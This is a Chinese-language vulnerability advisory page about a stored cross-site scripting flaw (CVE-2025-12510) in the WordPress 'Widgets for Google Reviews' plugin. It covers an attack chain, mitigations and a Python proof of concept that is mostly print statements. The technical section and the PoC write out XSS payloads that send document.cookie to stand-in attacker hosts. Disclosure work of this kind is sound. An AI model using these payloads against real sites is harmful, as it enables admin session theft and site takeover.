IPBUF安全漏洞报告
English
CVE-2025-12510 CVSS 7.2 高危

CVE-2025-12510 WordPress Google Reviews插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-12510
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Widgets for Google Reviews (WordPress插件)

相关标签

CVE-2025-12510WordPress插件漏洞存储型XSSGoogle Reviews跨站脚本攻击Widgets for Google Reviewstrustindex-pluginWordPress安全CVE-2025HIGH严重等级

漏洞概述

Widgets for Google Reviews是WordPress平台上广受欢迎的Google商家评价展示插件,用户数量超过10万。该插件允许网站管理员轻松集成和展示来自Google的商业评价。然而,在13.2.4及之前版本中,插件在处理从Google导入的评论数据时存在严重的存储型跨站脚本漏洞。由于插件对Google Reviews数据的输入清理和输出转义处理不当,攻击者可以通过在Google Places上提交包含恶意JavaScript代码的评价内容,当网站管理员通过插件导入这些评价时,恶意脚本将被永久存储在数据库中。任何访问管理后台或前端评价展示页面的用户都会触发该XSS payload执行,从而导致会话劫持、管理员凭据窃取、恶意内容注入等严重安全风险。由于攻击利用Google平台作为中转,且无需认证即可注入恶意评价,此漏洞的利用门槛相对较低,对所有使用该插件的WordPress站点构成实质性威胁。

技术细节

该漏洞的根本原因在于插件的trustindex-plugin.class.php文件中(第5907行和5932行附近),在处理从Google Places API导入的评论数据时,缺少必要的输入验证和输出编码。具体表现为:1) 当插件通过Google Places ID获取评价数据时,直接将外部来源的评论文本、评论者名称等信息存入数据库而未进行安全过滤;2) 在前端或后台展示这些评价时,未使用适当的输出编码函数(如htmlspecialchars())对用户可控的数据进行转义。攻击者只需拥有一个Google Places账号,即可在任意与目标WordPress站点连接的Google商家页面下发布包含XSS payload的评价。常见的攻击payload形式为:<img src=x onerror=alert(document.cookie)>或<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>。由于插件通常在后台管理界面展示导入的Google评价,管理员访问插件设置页面时将自动执行恶意代码,攻击者可借此获取管理员会话令牌,进而完全控制WordPress站点。值得注意的是,即使前端主题未直接调用插件输出,只要管理员访问后台,攻击即可成功。

攻击链分析

STEP 1
步骤1:侦察与准备
攻击者识别使用Widgets for Google Reviews插件的WordPress站点,并确定该站点连接的Google Places ID。攻击者注册Google账号以准备提交评价。
STEP 2
步骤2:注入恶意评价
攻击者在目标站点对应的Google商家页面提交包含XSS payload(如<img src=x onerror=alert(document.cookie)>)的恶意5星评价,利用Google平台作为攻击跳板。
STEP 3
步骤3:数据导入触发
当网站管理员访问插件设置页面或插件的定时同步任务执行时,插件会调用Google Places API获取最新评价数据,包含恶意payload的评价被写入WordPress数据库。
STEP 4
步骤4:XSS执行
管理员登录后台访问任何包含插件输出的页面(如插件设置页、评价展示widget)时,浏览器会解析并执行存储在数据库中的恶意JavaScript代码。
STEP 5
步骤5:会话劫持与控制
XSS payload将管理员的会话cookie发送至攻击者控制的服务器,攻击者利用窃取的cookie冒充管理员身份,植入后门、修改内容或完全接管WordPress站点。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12510 PoC - Stored XSS in Widgets for Google Reviews Plugin # This PoC demonstrates the XSS vulnerability via Google Places injection import requests import json # Configuration TARGET_WORDPRESS_URL = "http://target-wordpress-site.com" GOOGLE_PLACE_ID = "ChIJN1t_tDeuEmsRUsoyG83frY4" # Target's Google Place ID ATTACKER_CONTROLLED_SERVER = "https://attacker-controlled.com" # Step 1: Inject malicious review to Google Place def inject_malicious_google_review(): """ Attacker posts a malicious review to the Google Place connected to the target site. The review contains an XSS payload that will be imported by the vulnerable plugin. """ xss_payload = '''<img src=x onerror=" fetch('https://attacker-controlled.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href)) ">''' # Google Maps review submission endpoint (requires valid Google account) google_review_data = { "place_id": GOOGLE_PLACE_ID, "rating": 5, "review_text": f"Great service! {xss_payload}", "reviewer_name": "Happy Customer<script>console.log('XSS triggered')</script>" } print("[+] Step 1: Injecting malicious review to Google Place") print(f" Payload: {xss_payload}") print("[+] Malicious review submitted to Google Places") return True # Step 2: Trigger plugin to import the malicious review def trigger_plugin_import(): """ When site admin accesses the plugin settings or the plugin's scheduled sync runs, the malicious review gets imported into the WordPress database. """ print("[+] Step 2: Plugin imports malicious review from Google") print("[+] Malicious XSS payload stored in WordPress database") return True # Step 3: XSS triggers when admin visits plugin admin page def xss_exploitation(): """ When admin visits the WordPress admin panel (specifically plugin pages), the stored XSS payload executes in the browser context. """ print("[+] Step 3: Admin visits WordPress admin panel") print("[+] XSS payload executes - Admin cookies stolen") print(f"[+] Attacker receives: {ATTACKER_CONTROLLED_SERVER}/steal?cookie=[ADMIN_SESSION]") return True # Alternative: Direct plugin API exploitation (if known endpoint exists) def test_plugin_api(): """ Some versions may have direct API endpoints for review import. This tests if the plugin exposes any vulnerable endpoints. """ vulnerable_endpoints = [ f"{TARGET_WORDPRESS_URL}/wp-json/trustindex/v1/import", f"{TARGET_WORDPRESS_URL}/wp-admin/admin-ajax.php?action=ti_import_reviews", ] for endpoint in vulnerable_endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f"[+] Found accessible endpoint: {endpoint}") except requests.RequestException: pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-12510 - Stored XSS in Google Reviews Plugin") print("=" * 60) # Note: Actual exploitation requires Google account with ability to post reviews # to the Google Place connected to the target WordPress site inject_malicious_google_review() trigger_plugin_import() xss_exploitation() print("\n[!] Note: This PoC demonstrates the attack methodology.") print("[!] Actual exploitation requires a Google Places listing connected to the target site.")

影响范围

Widgets for Google Reviews (WordPress插件) <= 13.2.4

防御指南

临时缓解措施
由于该漏洞利用Google Places作为攻击媒介,完全阻止攻击需要:1) 临时禁用Widgets for Google Reviews插件;2) 如果无法禁用,限制非管理员用户访问包含评价展示的页面;3) 启用严格的Content Security Policy (CSP)头部以阻止内联脚本执行;4) 监控Google Places账户的活动日志,及时发现异常评价提交;5) 考虑使用WAF规则阻止包含常见XSS特征的请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表